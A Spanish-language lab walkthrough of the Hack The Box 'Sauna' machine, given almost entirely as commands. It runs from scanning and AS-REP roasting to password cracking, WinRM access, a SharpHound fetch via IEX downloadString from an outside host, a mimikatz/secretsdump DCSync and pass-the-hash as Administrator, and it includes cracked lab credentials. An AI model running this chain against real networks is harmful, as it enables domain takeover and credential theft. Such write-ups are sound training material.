nmap -A -p- -oA sauna 10.129.95.180 --min-rate=10000 --script=vuln --script-timeout=15 -v

nmap -sC -sV -O -p- -oA sauna 10.129.95.180

nmap -sU -O -p- -oA sauna-udp 10.129.95.180

nikto -h 10.129.95.180:80

whatweb http://10.129.95.180

rpcclient -U "" 10.129.95.180 -N

enumdomusers

Bajamos Kerbrute

git clone https://github.com/ropnop/kerbrute.git

go build -ldflags "-s -w"

du -hc kerbrute

upx kerbrute

Agregamos egotistical-bank.local a /etc/hosts

Para correr kerbrute necesitamos el dominio

crackmapexec smb 10.129.95.180

./kerbrute userenum --dc 10.129.95.180 -d egotistical-bank.local /usr/share/seclists/Usernames/top-usernames-shortlist.txt

smbclient -L 10.129.95.180 -N

smbmap -H 10.129.95.180 -u 'null'

smbmap -H 10.129.95.180

curl -s -X GET "http://10.129.95.180/about.html" | grep "p class=\mt-2"

curl -s -X GET "http://10.129.95.180/about.html" | grep "p class=\mt-2" | grep "Fergus Smith" -A 100 | html2text

curl -s -X GET "http://10.129.95.180/about.html" | grep "p class=\mt-2" | grep "Fergus Smith" -A 100 | html2text > users

cat users > backup

cat users | tr '[A-Z]' '[a-z]' | sponge users

Como no tengo contrasenas y solo usuarios hacemos lo siguiente, un asrep roast

python3 /opt/impacket/examples/GetNPUsers.py egotistical-bank.local/ -no-pass -usersfile users

cat hash

john --wordlist=/usr/share/worldlists/rockyou.txt hash

Conseguimos las credenciales:

fsmith:Thestrokes23

crackmapexec smb 10.129.95.180 -u 'fsmith' -p 'Thestrokes23'

evil-winrm -i 10.129.95.180 -u 'fsmith' -p 'Thestrokes23'

whoami /priv

Por ser parte de Remote Management Users logramos meternos por winrm

whoami /all

Creamos un directorio en Temp

Vemos que el reloj no esta correcto y sincronizarlo

sudo rdate -n 10.129.95.180

Lo corremos de nuevo y ahora si funciona

python3 /opt/impacket/examples/GetUserSPNs.py egotistical-bank.local/fsmith:Thestrokes23 -request

Bajamos winpeas

net user /domain

net user HSmith

upload winPEASx64.exe

Vemos como winPEAS despliega la contrasena

net user

net user svc_loanmgr

crackmapexec winrm 10.129.95.180 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'

evil-winrm -i 10.129.95.180 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'

Vemos los privilegios de este usuario

whoami /all

bloodhound &> /dev/null &

sudo neo4j console

https://github.com/puckiestyle/powershell/blob/master/SharpHound.ps1

IEX(New-Object Net.WebClient).downloadString('http://10.10.14.135/SharpHound.ps1')

sudo python3 -m http.server 80

grep "Invoke-Bloodhound" SharpHound.ps1

Corremos ese comando y nos crea un comprimido

Invoke-BloodHound -CollectionMethod All

net use x: \\10.10.14.135\smbFolder /user:cu3rv0x password123

sudo python3 /opt/impacket/examples/smbserver.py smbFolder $(pwd) -smb2support -username cu3rv0x -password password123

copy 2012..._Bloodhound.zip x:\2012...BloodHound.zip

Subimos el zip a bloodhound

Vamos a analysis-> Find AS-Rep Roastable users y le damos click

Click en list all kerberoastable accounts

Click en Find shortest path to domain admin

Buscamos a FSMITH

Escogemos mark as owned

Hacemos lo mismo para HSmith

Le damos click a find principals with DCsync rights

Vemos que svc_loanmgr tienen estos privilegios:

cp /usr/share/mimikatz/x64/mimikatz.exe .

sudo python3 -m http.server 80

Si no pones exit al final se genera un bucle infinito

C:\Windows\Temp\test\mimikatz.exe 'lsadump::dsync /domain:etotistical-bank.local /user:Administrator'

Usando Moneymakestheworldgoround! como passwd

python3 /opt/impacket/examples/secretsdump.py egotistical-bank.local/svc_loanmgr@10.129.95.180

Y hacemos un pass the hash con evilwinrm

evil-winrm -t 10.129.95.180 -u 'Administrator' -H 82345..